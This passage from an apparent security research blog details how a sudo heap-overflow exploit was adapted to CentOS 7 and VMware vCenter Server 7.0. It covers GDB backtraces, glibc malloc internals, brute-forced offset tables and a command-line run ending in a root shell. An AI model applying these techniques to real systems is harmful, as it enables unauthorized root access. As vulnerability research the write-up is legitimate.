#6 0x00007ffff64e75c9 in sudo_make_gidlist_item (pw=0x555555788588, unused1=, type=1) at ./pwutil_impl.c:274
#7 0x00007ffff64e643d in sudo_get_gidlist (pw=0x555555788588, type=type@entry=1) at ./pwutil.c:921
#8 0x00007ffff64c2181 in runas_setgroups () at ./set_perms.c:1704
#9 set_perms (perm=perm@entry=5) at ./set_perms.c:272
#10 0x00007ffff64bcbd8 in sudo_file_lookup (nss=0x7ffff67084a0 , validated=96, pwflag=0) at ./parse.c:208
#11 0x00007ffff64c5b14 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff9718, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff9420) at ./sudoers.c:330
#12 0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff9718, env_add=0x0, command_infop=0x7fffffff94a8, argv_out=0x7fffffff94b0, user_env_out=0x7fffffff94b8) at ./policy.c:857
#13 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff94b8, argv_out=0x7fffffff94b0, command_info=0x7fffffff94a8, env_add=0x0, argv=0x7fffffff9718, argc=2) at ./sudo.c:1179
#14 main (argc=, argv=, envp=0x7fffffff9730) at ./sudo.c:245
Analysing the backtrace, we see it crashes when trying to find a chunk in the unsorted free bin. This makes total sense as when the "cmnd size" is too small, the allocated buffer takes part of the large hole and leaves an adjacent hole for future allocations. This hole is effectively a free chunk saved in the unsorted free bin. This free chunk’s header will get corrupted by the overflow. When another allocation needs to take that chunk from the unsorted free bin, glibc aborts at [c1]
due to a bad chunk header:
//glibc_2.17-322.el7_9/malloc/malloc.c | |
static void* | |
_int_malloc(mstate av, size_t bytes) | |
{ | |
... | |
for(;;) { | |
int iters = 0; | |
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { | |
bck = victim->bk; | |
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) | |
|| __builtin_expect (victim->size > av->system_mem, 0)) | |
{ | |
mutex_unlock(&av->mutex); | |
malloc_printerr (check_action, "malloc(): memory corruption", | |
[c1] chunk2mem (victim), av); | |
mutex_lock(&av->mutex); | |
} | |
size = chunksize(victim); |
If the "cmnd size" is too big, it results into a SIGSEGV(11)
with the following backtrace:
Program terminated with signal SIGSEGV, Segmentation fault.
warning: Unexpected size of section `.reg-xstate/114' in core file.
#0 _int_malloc (av=av@entry=0x7ffff736a760 , bytes=bytes@entry=524288) at malloc.c:3780
3780 set_head(remainder, remainder_size | PREV_INUSE);
#0 _int_malloc (av=av@entry=0x7ffff736a760 , bytes=bytes@entry=524288) at malloc.c:3780
#1 0x00007ffff702871c in __GI___libc_malloc (bytes=524288) at malloc.c:2905
#2 0x00007ffff64e75c9 in sudo_make_gidlist_item (pw=0x555555788588, unused1=, type=1) at ./pwutil_impl.c:274
#3 0x00007ffff64e643d in sudo_get_gidlist (pw=0x555555788588, type=type@entry=1) at ./pwutil.c:921
#4 0x00007ffff64c2181 in runas_setgroups () at ./set_perms.c:1704
#5 set_perms (perm=perm@entry=5) at ./set_perms.c:272
#6 0x00007ffff64bcbd8 in sudo_file_lookup (nss=0x7ffff67084a0 , validated=96, pwflag=0) at ./parse.c:208
#7 0x00007ffff64c5b14 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff8f98, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff8ca0) at ./sudoers.c:330
#8 0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff8f98, env_add=0x0, command_infop=0x7fffffff8d28, argv_out=0x7fffffff8d30, user_env_out=0x7fffffff8d38) at ./policy.c:857
#9 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff8d38, argv_out=0x7fffffff8d30, command_info=0x7fffffff8d28, env_add=0x0, argv=0x7fffffff8f98, argc=2) at ./sudo.c:1179
#10 main (argc=, argv=, envp=0x7fffffff8fb0) at ./sudo.c:245
This time, the allocated buffer does not take the large hole (since it is not big enough!). Instead, the buffer is allocated using the top
chunk and it leaves a new smaller top
chunk adjacent to the allocated buffer. Interestingly, this time, it does not crash due to a bad chunk header since there is no check in glibc for the top
chunk, but instead it segmentation faults at [c2]
when trying to compute the new top
chunk:
//glibc_2.17-322.el7_9/malloc/malloc.c | |
/* Set size/use field */ | |
#define set_head(p, s) ((p)->size = (s)) | |
static void* | |
_int_malloc(mstate av, size_t bytes) | |
{ | |
... | |
use_top: | |
/* | |
If large enough, split off the chunk bordering the end of memory | |
(held in av->top). Note that this is in accord with the best-fit | |
search rule. In effect, av->top is treated as larger (and thus | |
less well fitting) than any other available chunk since it can | |
be extended to be as large as necessary (up to system | |
limitations). | |
We require that av->top always exists (i.e., has size >= | |
MINSIZE) after initialization, so if it would otherwise be | |
exhausted by current request, it is replenished. (The main | |
reason for ensuring it exists is that we may need MINSIZE space | |
to put in fenceposts in sysmalloc.) | |
*/ | |
victim = av->top; | |
size = chunksize(victim); | |
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { | |
remainder_size = size - nb; | |
remainder = chunk_at_offset(victim, nb); | |
av->top = remainder; | |
set_head(victim, nb | PREV_INUSE | | |
(av != &main_arena ? NON_MAIN_ARENA : 0)); | |
[c2] set_head(remainder, remainder_size | PREV_INUSE); |
This difference is enough to differentiate between the two different overflow states and figure out the right "cmnd size" to fit exactly in the large hole.
In order to speed up the search, we can use the well-known dichotomy method, as detailed in this table:
cmnd size | attempted value | result |
---|---|---|
0x1600 | SIGABRT(6) | too small |
0x1b00 | SIGABRT(6) | too small |
0x1d80 | SIGSEGV(11) | too big |
0x1c40 | SIGSEGV(11) | too big |
0x1ba0 | SIGSEGV(11) | too big |
0x1b50 | No crash and "no askpass" message | found (or almost found) |
0x1b60 | SIGSEGV(11) | too big |
So the right "cmnd size" is 0x1b50
.
Determining the right "defaults offset"
Now that we know the right "cmnd size", we can increase the overflowing size until we reach a target defaults
structure.
Let’s analyse this code snippet:
//sudo_1.8.23-9.el7/plugins/sudoers/sudoers.c | |
int | |
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[], | |
void *closure) | |
{ | |
... | |
/* Find command in path and apply per-command Defaults. */ | |
[a] cmnd_status = set_cmnd(); | |
if (cmnd_status == NOT_FOUND_ERROR) | |
goto done; | |
/* Check for -C overriding def_closefrom. */ | |
if (user_closefrom >= 0 && user_closefrom != def_closefrom) { | |
if (!def_closefrom_override) { | |
/* XXX - audit? */ | |
sudo_warnx(U_("you are not permitted to use the -C option")); | |
goto bad; | |
} | |
def_closefrom = user_closefrom; | |
} | |
[b] [... lots of code here ...] | |
/* Require a password if sudoers says so. */ | |
[c] switch (check_user(validated, sudo_mode)) { | |
case true: | |
/* user authenticated successfully. */ | |
break; |
If we haven’t yet overwritten the defaults
structure, i.e. if the "defaults offset" we attempt during bruteforce is too small, sudo
will crashes at [c]
above. It will be in a call to check_user -> ... -> tgetpass() -> sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
. In practice, sudo
will show the "no askpass" error message which we can detect, and then trigger a SIGABRT(6)
while trying to free some objects. The corresponding backtrace is the following:
Program terminated with signal SIGABRT, Aborted.
warning: Unexpected size of section `.reg-xstate/120' in core file.
#0 0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
55 return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig);
#0 0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
#1 0x00007ffff6fdaa78 in __GI_abort () at abort.c:90
#2 0x00007ffff701bef7 in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff712e410 "*** Error in `%s': %s: 0x%s ***n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196
#3 0x00007ffff70242b9 in malloc_printerr (ar_ptr=0x7ffff736a760 , ptr=, str=0x7ffff712e518 "double free or corruption (out)", action=3) at malloc.c:4967
#4 _int_free (av=0x7ffff736a760 , p=, have_lock=0) at malloc.c:3843
#5 0x00007ffff64deb15 in free_default (def=0x55555578ebc0, binding=binding@entry=0x7fffffff7d50) at gram.y:1115
#6 0x00007ffff64deede in init_parser (path=path@entry=0x0, quiet=quiet@entry=false) at gram.y:1229
#7 0x00007ffff64bd3a6 in sudo_file_close (nss=0x7ffff67084a0 ) at ./parse.c:86
#8 0x00007ffff64c4386 in sudoers_cleanup () at ./sudoers.c:1266
#9 0x00007ffff757b14d in do_cleanup () at ./fatal.c:61
#10 0x00007ffff757b593 in sudo_fatalx_nodebug_v1 (fmt=) at ./fatal.c:86
#11 0x000055555556d8a0 in tgetpass (prompt=0x555555790cb0 "[sudo] password for test: ", timeout=300, flags=, callback=callback@entry=0x7fffffff8d80) at ./tgetpass.c:146
#12 0x000055555555ae68 in sudo_conversation (num_msgs=1, msgs=, replies=0x7fffffff8590, callback=0x7fffffff8d80) at ./conversation.c:70
#13 0x00007ffff64adb12 in auth_getpass (prompt=0x555555790cb0 "[sudo] password for test: ", type=type@entry=1, callback=callback@entry=0x7fffffff8d80) at auth/sudo_auth.c:452
#14 0x00007ffff64ae463 in converse (num_msg=1, msg=0x7fffffff8788, reply_out=0x7fffffff8780, vcallback=) at auth/pam.c:558
#15 0x00007ffff629e0b0 in pam_vprompt () from /lib64/libpam.so.0
#16 0x00007ffff629e2da in pam_prompt () from /lib64/libpam.so.0
#17 0x00007ffff247f468 in _unix_read_password () from /usr/lib64/security/pam_unix.so
#18 0x00007ffff247c4db in pam_sm_authenticate () from /usr/lib64/security/pam_unix.so
#19 0x00007ffff6298f0a in _pam_dispatch () from /lib64/libpam.so.0
#20 0x00007ffff62987d0 in pam_authenticate () from /lib64/libpam.so.0
#21 0x00007ffff64ae9ee in sudo_pam_verify (pw=, prompt=0x555555790cb0 "[sudo] password for test: ", auth=, callback=0x7fffffff8d80) at auth/pam.c:182
#22 0x00007ffff64add79 in verify_user (pw=0x5555557883e8, prompt=prompt@entry=0x555555790cb0 "[sudo] password for test: ", validated=validated@entry=96, callback=callback@entry=0x7fffffff8d80) at auth/sudo_auth.c:318
#23 0x00007ffff64afbb4 in check_user_interactive (auth_pw=0x5555557883e8, mode=, validated=96) at ./check.c:148
#24 check_user (validated=validated@entry=96, mode=) at ./check.c:218
#25 0x00007ffff64c5cc6 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff91a8, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff8eb0) at ./sudoers.c:440
#26 0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff91a8, env_add=0x0, command_infop=0x7fffffff8f38, argv_out=0x7fffffff8f40, user_env_out=0x7fffffff8f48) at ./policy.c:857
#27 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff8f48, argv_out=0x7fffffff8f40, command_info=0x7fffffff8f38, env_add=0x0, argv=0x7fffffff91a8, argc=2) at ./sudo.c:1179
#28 main (argc=, argv=, envp=0x7fffffff91c0) at ./sudo.c:245
Alternatively, if we reached a target defaults
structure on the heap during bruteforce and successfully overwrote it with A
s, it will crash at [a]
above. It will be inside set_cmnd() -> update_defaults() -> is_early_default()
with an invalid name == 0x4141414141414141
when is_early_defaults()
is called, as in the below code:
//sudo_1.8.23-9.el7/plugins/sudoers/defaults.c | |
struct early_default * | |
is_early_default(const char *name) | |
{ | |
struct early_default *early; | |
debug_decl(is_early_default, SUDOERS_DEBUG_DEFAULTS) | |
for (early = early_defaults; early->idx != -1; early++) { | |
if (strcmp(name, sudo_defs_table[early->idx].name) == 0) | |
debug_return_ptr(early); | |
} | |
debug_return_ptr(NULL); | |
} |
Consequently, it will result in a SIGSEGV(11)
when the strcmp()
is trying to access this invalid memory area. The corresponding backtrace is the following:
Program terminated with signal SIGSEGV, Segmentation fault.
warning: Unexpected size of section `.reg-xstate/121' in core file.
#0 update_defaults (what=what@entry=16, quiet=quiet@entry=false) at ./defaults.c:750
750 struct early_default *early = is_early_default(d->var);
#0 update_defaults (what=what@entry=16, quiet=quiet@entry=false) at ./defaults.c:750
#1 0x00007ffff64c5a51 in set_cmnd () at ./sudoers.c:911
#2 sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff9198, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff8ea0) at ./sudoers.c:310
#3 0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff9198, env_add=0x0, command_infop=0x7fffffff8f28, argv_out=0x7fffffff8f30, user_env_out=0x7fffffff8f38) at ./policy.c:857
#4 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff8f38, argv_out=0x7fffffff8f30, command_info=0x7fffffff8f28, env_add=0x0, argv=0x7fffffff9198, argc=2) at ./sudo.c:1179
#5 main (argc=, argv=, envp=0x7fffffff91b0) at ./sudo.c:245
This difference in the way sudo
crashes is enough to differentiate the two overflow states and figure out when we have overwritten the first defaults
structure. It is found by incrementing the overwriting size until we find the right "defaults offset", as detailed in this table:
defaults offset | attempted value | result |
---|---|---|
0x4120 | SIGABRT(6) and "no askpass" message | too small |
0x4130 | SIGABRT(6) and "no askpass" message | too small |
0x4140 | SIGSEGV(11) | found |
So the right "defaults offset" is 0x4140
.
Summary
These are the conditions to reach for finding the "cmnd size" and "defaults offset":
Bruteforced element | too small | too big | found |
---|---|---|---|
cmnd size | SIGABRT(6) | SIGSEGV(11) | no crash and "no askpass" message |
defaults offset | SIGABRT(6) and "no askpass" message | N/A | SIGSEGV(11) |
Exploiting Photon OS / vCenter Server
Now that we have a good understanding of the vulnerability and exploitation approach, let’s go back to our real target: vCenter Server 7.0!
We used a docker container with Photon OS 3.0 to easily debug it.
Determining the right "cmnd size" and "defaults offset"
Before the allocation we have the following heap layout:
(gdb) ptlist -M 'tag, color' -G 'service_user, struct defaults, overflow, target' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555554d7c60
* 0x55555557c890 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c8f0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c950 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c9b0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557c9f0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557ca60 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cad0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cb40 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cba0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555557cc00 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x555555580c50 F sz:0x00d70 fl:--P
* 0x555555586550 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x555555587850 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555555878b0 F sz:0x14750 fl:--P (top)
0x55555559c000 (sbrk_end)
[!] WARNING: Could not find these metadata: overflow, target
Total of 14 chunks
So we know that the "cmnd size" is 0xd70
and the "defaults offset" is (0x555555586550-(0x555555580c50+0xd70)=0x4b90
)
Testing the exploit, it successfully found a "cmnd size" of 0xd70
. However, it failed to find the right "defaults offset", as it found 0x41c0
instead of 0x4b90
. So what exactly happened and how to do we fix it?
It stopped the bruteforce at 0x41c0
due to the following backtrace hit:
Program terminated with signal SIGSEGV, Segmentation fault.
warning: Unexpected size of section `.reg-xstate/136' in core file.
#0 0x00007ffff7d8a99b in userlist_matches () from /usr/lib/sudo/sudoers.so
#0 0x00007ffff7d8a99b in userlist_matches () from /usr/lib/sudo/sudoers.so
#1 0x00007ffff7d759d7 in sudoers_lookup () from /usr/lib/sudo/sudoers.so
#2 0x00007ffff7d7e951 in sudoers_policy_main () from /usr/lib/sudo/sudoers.so
#3 0x00007ffff7d77c22 in sudoers_policy_check () from /usr/lib/sudo/sudoers.so
#4 0x000055555555a0eb in policy_check (plugin=0x55555557a7a0 , user_env_out=0x7fffffff9c98, argv_out=0x7fffffff9c90, command_info=0x7fffffff9c88, env_add=0x0, argv=0x7fffffff9ef8, argc=2) at ./sudo.c:1138
#5 main (argc=, argv=, envp=) at ./sudo.c:253
Indeed this conflicts with Worawit’s detection method, since we can’t distinguish it from the SIGSEGV(11)
crash in update_defaults()
when it successfully accesses our corrupted defaults
structure.
Let’s go back to the previous code snippet we analysed earlier for CentOS 7, but this time for Photon OS 3.0. The code is very similar. Note: we analysed the sudo
code directly found on the original website due to Photon OS not providing the sudoers-specific code.
The important bit is that while increasing the "defaults offset" during bruteforce, we try to differentiate:
- A value too small (
SIGABRT(6)
and "no askpass" message when[C]
hits later insudoers_policy_main()
) - A found value (
SIGSEGV(11)
when[A]
hits early insudoers_policy_main()
)
In the failure case shown above, we fail to differentiate between [A]
and another SIGSEGV(11)
at [E]
so the exploit thinks it found the right "defaults offset" which is not the case!
//sudo-1.8.30/plugins/sudoers/sudoers.c | |
//Note: sudo_1.8.30-1.ph3 does not have sources for it | |
int | |
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[], | |
bool verbose, void *closure) | |
{ | |
... | |
/* Find command in path and apply per-command Defaults. */ | |
[A] cmnd_status = set_cmnd(); | |
if (cmnd_status == NOT_FOUND_ERROR) | |
goto done; | |
/* Check for -C overriding def_closefrom. */ | |
if (user_closefrom >= 0 && user_closefrom != def_closefrom) { | |
if (!def_closefrom_override) { | |
/* XXX - audit? */ | |
[D] sudo_warnx(U_("you are not permitted to use the -C option")); | |
goto bad; | |
} | |
def_closefrom = user_closefrom; | |
} | |
/* | |
* Check sudoers sources, using the locale specified in sudoers. | |
*/ | |
sudoers_setlocale(SUDOERS_LOCALE_SUDOERS, &oldlocale); | |
[E] validated = sudoers_lookup(snl, sudo_user.pw, FLAG_NO_USER | FLAG_NO_HOST, | |
pwflag); | |
[B] [... lots of code here ...] | |
/* Require a password if sudoers says so. */ | |
[C] switch (check_user(validated, sudo_mode)) { | |
case true: | |
/* user authenticated successfully. */ | |
break; |
If we look closer at the code, we see there is a lot of code between [C]
and [A]
and more importantly an if
condition at [D]
seems very interesting and falls between [A]
and [E]
, which so far we’ve been unable to differentiate.
It appears that if we add the -C
option to our sudo
command line arguments, it should allow to differentiate:
- If the "defaults offset" is too small, it will hit
[D]
showing the "-C option" message and triggering aSIGABRT(6)
- If the "defaults offset" is found, it will triggers a
SIGSEGV(11)
at[A]
earlier
This can easily be confirmed by debugging.
So the new conditions to reach for finding the "cmnd size" and "defaults offset" are:
Bruteforced element | too small | too big | found |
---|---|---|---|
cmnd size | SIGABRT(6) | SIGSEGV(11) | no crash and "no askpass" message |
defaults offset | SIGABRT(6) and "-C option" message | N/A | SIGSEGV(11) |
Getting root on vCenter server
The last thing to recall is that /tmp
is mounted as nosuid
so we need to use a different path for the file we want to setuid root:
vsphere-ui@VCSA-7 [ ~ ]$ id
uid=1001(vsphere-ui) gid=100(users) groups=100(users)
vsphere-ui@VCSA-7 [ ~ ]$ pwd
/home/vsphere-ui
vsphere-ui@VCSA-7 [ ~ ]$ export SUID_PATH=/home/vsphere-ui/sshell
Now we can successfully exploit the vulnerability on vCenter Server 7.0!
vsphere-ui@VCSA-7 [ ~ ]$ python3 exploit_defaults_mailer.py
Using SUID_PATH = /home/vsphere-ui/sshell
...
cmnd size: 0xd70
offset to defaults: 0xa70
sudoedit: mail_always:1347440720 option "mail_always" does not take a value
sudoedit: you are not permitted to use the -C option
success at 2357
execute "/home/vsphere-ui/sshell" to get root shell
vsphere-ui@VCSA-7 [ ~ ]$ /home/vsphere-ui/sshell
root [ /home/vsphere-ui ]# id
uid=0(root) gid=0(root) groups=0(root),100(users)
Conclusion
In this blog, we spent more time understanding the exploitation method internals than fixing the exploit so it works with new targets. This can be confirmed by the actual changes made in the exploit. Using libptmalloc, we were able to easily confirm the heap layout on new targets and environments. This would have been a lot more painful without it! Then, we were able to focus on the interesting part, finding ways to make the exploit more robust and work on vCenter Server!
What can we do with root access on a VMWare vCenter Server? First we need to understand what vCenter really is, and what data to target. This should allow to persist post-exploitation? This is left as an exercise for the reader…
Thanks
I really want to thank Aaron Adams for helping with this research. I also want to thank Alex Plaskett for proof-reading this blog.
I appreciate any feedback or corrections. If you would like to contact me, I can be reached by email or twitter: cedric(dot)halbronn(at)nccgroup(dot)com / @saidelike.